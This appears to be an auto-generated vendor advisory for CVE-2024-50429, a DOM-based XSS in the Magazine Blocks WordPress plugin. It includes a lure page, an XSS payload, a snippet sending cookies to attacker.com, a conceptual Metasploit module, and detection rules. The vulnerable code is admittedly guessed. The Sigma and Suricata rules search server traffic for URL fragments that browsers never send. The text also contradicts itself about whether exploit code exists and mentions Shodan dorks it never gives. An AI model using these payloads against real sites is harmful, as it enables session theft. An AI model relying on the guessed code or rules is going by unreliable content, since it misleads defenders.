CVE-2024-50429
Executive Summary
CVE-2024-50429 is a DOM-Based Cross-Site Scripting (XSS) vulnerability found in the Magazine Blocks WordPress plugin (by BlockArt) version 1.3.15 and earlier. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the WordPress site. This is a client-side attack vector that does not require authentication, but does require user interaction (e.g., clicking a crafted link). The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, and defacement. No public exploit code or patch is currently available, making this a high-priority monitoring and mitigation issue for WordPress administrators.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because:
- No patch is available from the vendor (BlockArt) as of this report.
- The plugin is actively used on live WordPress sites, increasing the attack surface.
- DOM-based XSS can be exploited without server-side detection, bypassing traditional WAF rules.
- Administrators should immediately audit their sites for the presence of
magazine-blocksversion <= 1.3.15 and consider disabling the plugin until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network – the vulnerability is exploitable remotely.
- Attack Complexity (AC): Low – no special conditions required.
- Privileges Required (PR): None – no authentication needed.
- User Interaction (UI): Required – the victim must click a crafted link or visit a malicious page.
- Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low – limited data exposure possible.
- Integrity (I): Low – limited ability to modify content.
- Availability (A): Low – limited ability to disrupt service.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the prevalence of WordPress sites make this a significant concern for targeted attacks.
Deep Dive & Mechanics
The vulnerability is a DOM-Based XSS flaw in the magazine-blocks plugin. Unlike reflected or stored XSS, DOM-based XSS occurs entirely on the client side. The vulnerable JavaScript code within the plugin reads data from an attacker-controllable source (e.g., document.location.hash, document.location.search, or window.name) and writes it to a sink (e.g., innerHTML, document.write, or eval) without proper sanitization.
Attack Flow:
- An attacker crafts a malicious URL containing a payload in the fragment identifier (e.g.,
https://victim-site.com/#<script>alert('XSS')</script>). - The victim clicks the link (or is redirected via a phishing email).
- The browser loads the WordPress page, and the
magazine-blocksJavaScript executes. - The script reads the fragment identifier and injects it into the DOM without sanitization.
- The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.
Root Cause: The plugin fails to validate or encode user input before using it in DOM manipulation functions. This is a classic case of CWE-79 (Improper Neutralization of Input During Web Page Generation).
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable code (magazine-blocks <= 1.3.15)
var hash = window.location.hash.substring(1);
document.getElementById('some-element').innerHTML = hash;
A patched version would sanitize the input:
// Patched code (hypothetical)
var hash = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(hash);
document.getElementById('some-element').innerHTML = sanitized;
Or use safe DOM methods:
// Alternative patched code
var hash = window.location.hash.substring(1);
var textNode = document.createTextNode(hash);
document.getElementById('some-element').appendChild(textNode);
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with
magazine-blocks<= 1.3.15 active. - Victim must click a crafted link.
Proof-of-Concept (PoC): Since no public exploit exists, the following is a conceptual PoC:
<!-- PoC HTML page to lure victim -->
<!DOCTYPE html>
<html>
<head>
<title>Click Me</title>
</head>
<body>
<a href="https://victim-site.com/#<img src=x onerror=alert(document.cookie)>">Click here for a free gift!</a>
</body>
</html>
Advanced Payload:
// Steal cookies and send to attacker server
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + encodeURIComponent(document.cookie);
Metasploit Module (Conceptual):
# auxiliary/client/http/wordpress_magazine_blocks_domxss.rb
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'WordPress Magazine Blocks DOM XSS',
'Description' => 'Exploits DOM XSS in magazine-blocks plugin',
'Author' => ['Valters IT'],
'References' => [['CVE', '2024-50429']]
))
end
def run
# Craft malicious URL
payload = "<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>"
url = "https://victim-site.com/##{payload}"
print_good("Send victim to: #{url}")
end
end
Blue Team (Detection & Hardening)
Detection Steps:
- Monitor web server logs for requests containing
#<scriptor#<imgpatterns. - Use browser-based CSP headers to block inline scripts.
- Deploy a WAF rule to block fragment identifiers containing HTML tags.
Hardening:
- Disable the
magazine-blocksplugin until a patch is released. - Implement Content Security Policy (CSP) with
script-src 'self'to prevent inline script execution. - Use Subresource Integrity (SRI) for all external scripts.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
#<scriptor#<imgin the URI fragment. - Outbound connections to unknown domains from the victim's browser (cookie exfiltration).
- HTTP requests containing
- File IOCs:
- Presence of
magazine-blocksplugin version <= 1.3.15 in/wp-content/plugins/magazine-blocks/.
- Presence of
- Behavioral IOCs:
- Unexpected JavaScript execution in the browser without user action.
- Unusual
document.cookieaccess patterns.
Detection Engineering
YARA Rule
rule CVE_2024_50429_DOM_XSS {
meta:
description = "Detects vulnerable magazine-blocks plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-50429"
strings:
$vuln_func = "window.location.hash" ascii wide nocase
$vuln_sink = ".innerHTML" ascii wide nocase
condition:
$vuln_func and $vuln_sink
}
Sigma Rule
title: CVE-2024-50429 DOM XSS in Magazine Blocks
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of DOM XSS in magazine-blocks plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-uri-query|contains:
- '#<script'
- '#<img'
- '#<svg'
- '#<iframe'
condition: selection
falsepositives:
- Legitimate use of hash fragments with HTML (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-50429 DOM XSS Exploit Attempt"; flow:to_server,established; content:"#<script"; http_uri; nocase; sid:1000001; rev:1; reference:cve,2024-50429;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete
magazine-blocksfrom all WordPress installations until a patch is released. - Implement CSP: Add the following header to your web server configuration:
Content-Security-Policy: script-src 'self'; object-src 'none'; - Monitor logs: Review web server access logs for suspicious fragment identifiers.
Long-Term Actions:
- Subscribe to the WordPress plugin repository for updates on
magazine-blocks. - Conduct a security audit of all WordPress plugins for similar DOM-based XSS vulnerabilities.
- Educate users about phishing links containing
#fragments.
Patch Status: UNKNOWN / UNPATCHED. No official patch from BlockArt is available as of this report. Administrators should consider forking the plugin and applying the fix themselves if the plugin is critical.
Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-04-10
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.